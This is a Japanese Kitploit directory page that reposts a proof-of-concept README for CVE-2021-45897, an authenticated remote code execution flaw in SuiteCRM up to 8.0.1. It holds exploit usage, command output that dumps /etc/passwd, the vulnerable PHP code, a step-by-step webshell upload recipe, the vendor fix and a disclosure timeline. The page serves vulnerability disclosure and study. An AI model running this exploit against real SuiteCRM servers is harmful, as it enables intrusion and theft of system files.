Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-45897 — 認証済みRCEエクスプロイト:SuiteCRM <= 8.0.1のメールテンプレート画像アップロードを介してPHPウェブシェルを埋め込み、リモートコマンド実行を行う。 | Kitploit
ツール/GitHubGitHub/manuelz120/cve-2021-45897
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubmanuelz120/cve-2021-45897

CVE-2021-45897

認証済みRCEエクスプロイト:SuiteCRM <= 8.0.1のメールテンプレート画像アップロードを介してPHPウェブシェルを埋め込み、リモートコマンド実行を行う。

リポジトリを見る
18524年前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-45897

CVE-2021-45897(別名SCRMBT-#180)のPoC - SuiteCRM <= 8.0.1におけるメールテンプレート経由のRCE(認証ユーザーのみ)

この脆弱性はSalesAgilityに報告され、SuiteCRM 7.12.3およびSuiteCRM Core 8.0.2で修正されました。古いバージョンのSuiteCRMを使用している場合は、アップデートを強くお勧めします。

使用方法

インストール

  1. 最新版のpython3とpipがインストールされていることを確認してください。
  2. リポジトリをクローンします: git clone https://github.com/manuelz120/CVE-2021-45897.git
  3. 必要なライブラリをインストールします: pip3 install -r "requirements.txt"
  4. 完了です :)

利用可能なオプション:

root@kitploit:~
(.venv) ➜  CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT        Root of SuiteCRM installation. Defaults to
                         http://localhost
  -u, --username TEXT    Username
  -p, --password TEXT    password
  -P, --payload TEXT     Shell command to be executed on target system
  -d, --is_core BOOLEAN  SuiteCRM Core (>= 8.0.0). Defaults to False
  --help                 Show this message and exit.

  https://github.com/manuelz120/CVE-2021-45897

使用例:

root@kitploit:~
(.venv) ➜  CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------  Ending command output  ------
INFO:CVE-2021-45897:Enjoy your shell :)

解説

最近、PHPベースのSuiteCRMソフトウェアにおいて、興味深いRCE攻撃ベクトルを発見しました。この脆弱性により、EmailTemplatesモジュールにアクセスできる認証済みの攻撃者が悪意のあるPHPファイルをアップロードし、リモートコード実行を獲得することが可能になります。

私の見解では、SuiteCRMのファイルアップロード処理全体はかなり安全に見えます。カスタムコードは多いものの、開発者はファイル拡張子を削除するか(ほとんどのファイルタイプで発生)、拡張子を検証して画像の場合はコンテンツをサニタイズすることに細心の注意を払っています。サードパーティのAVスキャナーを読み込んでアップロードを処理させるプラグインインターフェースも存在します。

しかし、public/legacy/modules/EmailTemplates/EmailTemplate.phpに隠された興味深い小さな機能を偶然発見しました:

root@kitploit:~
private function repairEntryPointImages()
{
    global $sugar_config;

    // repair the images url at entry points, change to a public direct link for remote email clients..


    $html = from_html($this->body_html);
    $siteUrl = $sugar_config['site_url'];
    $regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';

    if (preg_match($regex, $html, $match)) {
        $splits = explode('.', $match[1]);
        $fileExtension = end($splits);
        $this->makePublicImage($match[2], $fileExtension);
        $newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
        $this->body_html = to_html(str_replace($match[1], $newSrc, $html));
        $this->imageLinkReplaced = true;
        $this->repairEntryPointImages();
    }
}

private function makePublicImage($id, $ext = 'jpg')
{
    $toFile = 'public/' . $id . '.' . $ext;
    if (file_exists($toFile)) {
        return;
    }
    $fromFile = 'upload://' . $id;
    if (!file_exists($fromFile)) {
        throw new Exception('file not found');
    }
    if (!file_exists('public')) {
        sugar_mkdir('public', 0777);
    }
    $fdata = file_get_contents($fromFile);
    if (!file_put_contents($toFile, $fdata)) {
        throw new Exception('file write error');
    }
}

SuiteCRMでは、ユーザーがメールテンプレートを作成できます。テンプレートには添付ファイルを含めることもでき、これらは別のモジュール(Notesモジュール)に保存されます。ユーザーは任意のファイルをメールテンプレートに添付できます。ファイルの内容は一切サニタイズされません。ただし、拡張子なしで保存されるため、潜在的に悪意のあるPHPコードが含まれていても、Webサーバーによって実行されることはありません。認証済みユーザーは、/index.php?entryPoint=download&type=Notes&id=<note-id>という形式のリンクを使用してこれらの添付ファイルをダウンロードすることもできます。

repairEntryPointImages関数は、メールテンプレートが保存またはアクセスされるたびにトリガーされます。コードを見ると、メールテンプレートのマークアップ(body_html)を解析し、特別なsrc属性を持つHTMLのimgタグを探していることがわかります。正規表現は基本的に内部の添付ファイルダウンロードリンクの形式に似ています。ただし、これらのリンクはSuiteCRMで認証されたユーザーにのみ機能し、メールの受信者にはおそらく当てはまりません。そのため、SuiteCRMは添付ファイルのコピーをWebサーバーのpublicフォルダに自動的に作成し、内部のダウンロードリンクを公開バージョンに置き換えます。メールクライアントが画像を適切に表示できるようにするため、ファイル拡張子も追加されます。ただし、publicフォルダ内のターゲットファイルの拡張子は、画像のsrcのfilenameクエリパラメータから直接取得され、検証されません(filenameは他のロジックをトリガーせず、自由に選択できることに注意してください)。

これで、publicフォルダにPHPウェブシェルをアップロードするエクスプロイトを作成するためのすべての要素が揃いました:

  1. PHPウェブシェルをアップロードして、Notesモジュールに新しいメール添付ファイル/レコードを作成します。NoteのIDを覚えておいてください。
  2. SuiteCRMはウェブシェルファイルを拡張子なしでアップロードフォルダに保存します。
  3. /index.php?entryPoint=download&type=Notes&id=<note_id>にアクセスしてPHPファイルをダウンロードできることを確認します。
  4. 新しいメールテンプレートを作成し、repairEntryPointImagesの正規表現に一致するが、filenameクエリパラメータに.phpを使用する画像タグを追加します(例: /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />)。
  5. メールテンプレートを保存/再読み込みします - SuiteCRMはrepairEntryPointImages関数を実行し、ウェブシェルを.php拡張子でpublicフォルダにコピーします。
  6. http://<<host>>/public/<<note_id>>.phpでシェルを楽しんでください。

実装された修正

私の報告の直後に、新しいSuiteCRMバージョン(7.12.3および8.0.2)がリリースされ、以下の修正が含まれました:

patch.png

https://github.com/salesagility/SuiteCRM-Core/commit/5d699396379d7af8697ec985ebc425836202ed43#diff-fb3b09c19812fa070cc86927149c52ef4bffc3057a82249a12f4a82bc0dd576dR922-R926

これにより、repairEntryPointImagesで有効な画像ファイル拡張子のみが使用されることが保証され、.phpなどのホワイトリストにない拡張子のファイル作成が防止されます。

タイムライン

  • 2021年12月21日: 脆弱性を発見し、SuiteCRMに報告
  • 2021年12月22日: ベンダー(SalesAgility)が脆弱性を確認
  • 2022年1月27日: 修正版のリリース(SuiteCRM 7.12.3およびSuiteCRM Core 8.0.2)
ツールをダウンロード